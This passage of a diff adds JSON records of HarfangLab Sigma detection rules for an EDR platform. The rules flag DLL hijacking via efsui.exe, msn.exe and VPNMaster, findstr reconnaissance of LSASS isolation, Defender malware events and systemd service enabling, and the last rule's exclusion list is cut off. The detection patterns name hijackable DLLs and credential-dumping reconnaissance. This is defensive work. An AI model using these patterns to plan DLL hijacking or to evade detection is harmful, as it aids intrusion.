'\\breakpad.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\VPNMaster\\'\n            - '?:\\Program Files (x86)\\VPNMaster\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\VPNMaster\\'\n            - '?:\\Program Files (x86)\\VPNMaster\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'INNOVATIVE CONNECTING PTE. LIMITED'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76938512-d1f1-49db-bcab-466da8afd029",
+  "rule_name": "DLL Hijacking via VPNMaster software",
+  "rule_description": "Detects potential Windows DLL Hijacking via VPNMaster software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76a53c24-d9cc-4c99-92e0-6e30c597bd9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590302Z",
+  "creation_date": "2026-03-23T11:45:34.590308Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590320Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_efsui.yml",
+  "content": "title: DLL Hijacking via efsui.exe\nid: 76a53c24-d9cc-4c99-92e0-6e30c597bd9e\ndescription: |\n    Detects potential Windows DLL Hijacking via efsui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'efsui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\CRYPTUI.dll'\n            - '\\DSROLE.dll'\n            - '\\EFSADU.dll'\n            - '\\EFSUTIL.dll'\n            - '\\FeClient.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\USERENV.dll'\n            - '\\VAULTCLI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76a53c24-d9cc-4c99-92e0-6e30c597bd9e",
+  "rule_name": "DLL Hijacking via efsui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via efsui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76c6673a-5139-46cf-af13-156a408b9b42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605276Z",
+  "creation_date": "2026-03-23T11:45:34.605280Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605287Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround",
+    "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/",
+    "https://notes.qazeer.io/red-team-specifics/edr_bypass_with_edrsandblast#credential-guard-bypass",
+    "https://attack.mitre.org/techniques/T1057/"
+  ],
+  "name": "t1057_lsaiso_discovery_via_findstr.yml",
+  "content": "title: LSASS Virtualization Status Discovered via Findstr\nid: 76c6673a-5139-46cf-af13-156a408b9b42\ndescription: |\n    Detects potential reconnaissance activity targeting LSASS virtualization status through findstr commands searching for the \"lsaiso.exe\" process.\n    The \"lsaiso.exe\" process indicates that LSASS (Local Security Authority Subsystem Service) is running in an isolated/virtualized environment as part of Windows security features like LSA Protection or Credential Guard.\n    Attackers commonly perform this reconnaissance to determine if credential dumping techniques will be effective, as virtualized LSASS implementations provide enhanced protection against memory-based credential extraction attacks.\n    It is recommended to investigate the source of these commands, review surrounding process activity for additional reconnaissance or credential access attempts, and verify that LSASS protection mechanisms are properly configured and functioning as expected.\nreferences:\n    - https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround\n    - https://teamhydra.blog/2020/08/25/bypassing-credential-guard/\n    - https://notes.qazeer.io/red-team-specifics/edr_bypass_with_edrsandblast#credential-guard-bypass\n    - https://attack.mitre.org/techniques/T1057/\ndate: 2025/07/12\nmodified: 2025/07/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1057\n    - attack.t1518\n    - attack.s0057\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\findstr.exe'\n        CommandLine|contains: 'lsaiso'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76c6673a-5139-46cf-af13-156a408b9b42",
+  "rule_name": "LSASS Virtualization Status Discovered via Findstr",
+  "rule_description": "Detects potential reconnaissance activity targeting LSASS virtualization status through findstr commands searching for the \"lsaiso.exe\" process.\nThe \"lsaiso.exe\" process indicates that LSASS (Local Security Authority Subsystem Service) is running in an isolated/virtualized environment as part of Windows security features like LSA Protection or Credential Guard.\nAttackers commonly perform this reconnaissance to determine if credential dumping techniques will be effective, as virtualized LSASS implementations provide enhanced protection against memory-based credential extraction attacks.\nIt is recommended to investigate the source of these commands, review surrounding process activity for additional reconnaissance or credential access attempts, and verify that LSASS protection mechanisms are properly configured and functioning as expected.\n",
+  "rule_creation_date": "2025-07-12",
+  "rule_modified_date": "2025-07-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1057",
+    "attack.t1518"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76dd270b-174a-47f7-9459-17314155c8cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608825Z",
+  "creation_date": "2026-03-23T11:45:34.608828Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608835Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide"
+  ],
+  "name": "windows_defender_eventid_1116.yml",
+  "content": "title: Windows Defender has Detected Malware\nid: 76dd270b-174a-47f7-9459-17314155c8cb\ndescription: |\n    Microsoft Defender Antivirus has detected malware or other potentially unwanted software.\n    It is recommended to investigate the origin and legitimacy of the detected file/process.\nreferences:\n    - https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide\ndate: 2021/10/29\nmodified: 2025/03/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.privilege_escalation\n    - attack.credential_access\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Malware.Generic\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    service: defender\ndetection:\n    selection:\n        EventID: 1116\n        Source: Microsoft-Windows-Windows Defender\n    condition: selection\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76dd270b-174a-47f7-9459-17314155c8cb",
+  "rule_name": "Windows Defender has Detected Malware",
+  "rule_description": "Microsoft Defender Antivirus has detected malware or other potentially unwanted software.\nIt is recommended to investigate the origin and legitimacy of the detected file/process.\n",
+  "rule_creation_date": "2021-10-29",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76e42c1b-d5a7-402e-927a-f2658e7b3622",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586369Z",
+  "creation_date": "2026-03-23T11:45:34.586372Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586380Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msn.yml",
+  "content": "title: DLL Hijacking via MSN.EXE\nid: 76e42c1b-d5a7-402e-927a-f2658e7b3622\ndescription: |\n    Detects a potential Windows DLL search order hijacking via msn.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/11/28\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msnmsgr.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\msncore.dll'\n\n    filter_signature:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    filter_location:\n        ImageLoaded|endswith: '\\AppData\\Local\\Microsoft\\MSN\\msncore.dll'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76e42c1b-d5a7-402e-927a-f2658e7b3622",
+  "rule_name": "DLL Hijacking via MSN.EXE",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via msn.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-11-28",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76f5d309-089f-432f-9c01-a5fd1570ea3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.697636Z",
+  "creation_date": "2026-03-23T11:45:34.612049Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612056Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/002/",
+    "https://attack.mitre.org/techniques/T1037/",
+    "https://attack.mitre.org/techniques/T1547/",
+    "https://attack.mitre.org/techniques/T1569/"
+  ],
+  "name": "t1543_002_systemd_service_enabled.yml",
+  "content": "title: SystemD Service Enabled\nid: 76f5d309-089f-432f-9c01-a5fd1570ea3e\ndescription: |\n    Detects when a service is manually enabled with SystemD.\n    Enabled services are services that will be automatically started when the system reboots.\n    Adversaries may create or modify systemd services to automatically execute malicious payloads each time the system boots as part of persistence.\n    It is recommended to ensure that both a legitimate administrator enabled this service and that the service is not suspicious.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/002/\n    - https://attack.mitre.org/techniques/T1037/\n    - https://attack.mitre.org/techniques/T1547/\n    - https://attack.mitre.org/techniques/T1569/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.002\n    - attack.t1037\n    - attack.t1547\n    - attack.execution\n    - attack.t1569\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/systemctl'\n        CommandLine|contains:\n            - ' enable '\n            - ' reenable '\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|/usr/bin/apt|'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_rpm:\n        - ProcessImage: '/usr/bin/rpm'\n        - ProcessParentImage: '/usr/bin/rpm'\n        - ProcessGrandparentImage: '/usr/bin/rpm'\n        - ProcessGrandparentCommandLine: '/bin/sh /var/tmp/rpm-tmp.?????? ?'\n    exclusion_dnf:\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/bin/snap'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_cybereason:\n        CommandLine: '/bin/systemctl enable --now cbram'\n        ParentImage: '/opt/cybereason/sensor/bin/cybereason-sensor'\n\n    exclusion_edutice:\n        CommandLine:\n            - 'systemctl enable avahi-daemon.socket'\n            - 'systemctl enable avahi-daemon.service'\n        ParentCommandLine: '/usr/bin/python3 /usr/lib/edutice/service/main.py'\n\n    exclusion_dracut:\n        ProcessParentCommandLine|startswith:\n            - '/bin/bash -p /bin/dracut '\n            - '/bin/bash -p /usr/bin/dracut '\n            - '/usr/bin/bash -p /bin/dracut '\n            - '/usr/bin/bash -p /usr/bin/dracut '\n            - '/usr/bin/bash -p /usr/sbin/dracut '\n            - '/usr/bin/bash -p /sbin/dracut '\n\n    exclusion_authconfig_nscd:\n        CommandLine: '/bin/systemctl enable nscd.service'\n        GrandparentCommandLine|startswith: '/usr/bin/python /sbin/authconfig '\n\n    exclusion_amazon:\n        CommandLine: 'systemctl enable amazon-cloudwatch-agent.service'\n        ParentCommandLine|contains: '/opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl'\n\n    exclusion_kpatch:\n        CommandLine: 'systemctl enable kpatch.service'\n        ParentCommandLine|startswith: '/usr/bin/bash /usr/sbin/kpatch '\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_eset:\n        - ProcessParentCommandLine:\n            - '/bin/sh /opt/eset/efs/lib/enable_user_monitoring.sh'\n            - '/bin/sh /opt/eset/efs/lib/install_scripts/register_service.sh'\n        - ProcessCommandLine: 'systemctl enable eraagent.service'\n          ProcessParentCommandLine|startswith: '/bin/sh /tmp/????-????-????-????/agent_linux_x86_64.sh '\n        - ProcessAncestors|contains: '|/opt/eset/RemoteAdministrator/Agent/ERAAgent|'\n\n    exclusion_puppet:\n        - ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessAncestors|contains: '|/opt/puppetlabs/puppet/bin/ruby|'\n\n    exclusion_cfengine:\n        - ParentImage|startswith: '/var/cfengine/'\n        - ParentCommandLine|contains: '/var/cfengine/'\n\n    exclusion_manageengine:\n        ProcessParentImage: '/usr/local/manageengine/uems_agent/bin/dcservice'\n\n    exclusion_freecad:\n        ProcessGrandparentImage: '/usr/bin/AppImageLauncher'\n\n    exclusion_containerd:\n        ProcessAncestors|contains: '|/usr/bin/containerd-shim-runc-v2|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_wapt:\n        ProcessGrandparentImage:\n            - '/opt/wapt/bin/python*'\n            - 